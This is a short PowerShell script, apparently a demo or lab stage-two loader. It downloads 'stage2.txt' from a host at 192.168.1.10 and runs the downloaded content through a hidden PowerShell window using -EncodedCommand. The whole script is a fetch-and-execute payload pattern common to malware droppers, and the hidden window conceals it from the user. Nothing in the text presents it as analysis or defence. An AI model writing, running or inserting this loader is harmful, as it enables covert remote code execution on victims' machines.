$URL = "http://192.168.1.10/demo2/stage2.txt" $WebResponse = Invoke-WebRequest -UseBasicParsing $URL $content = $WebResponse.Content echo $content $PowershellArgs = "-WindowStyle Hidden -EncodedCommand $content" echo $PowershellArgs start powershell -ArgumentList $PowershellArgs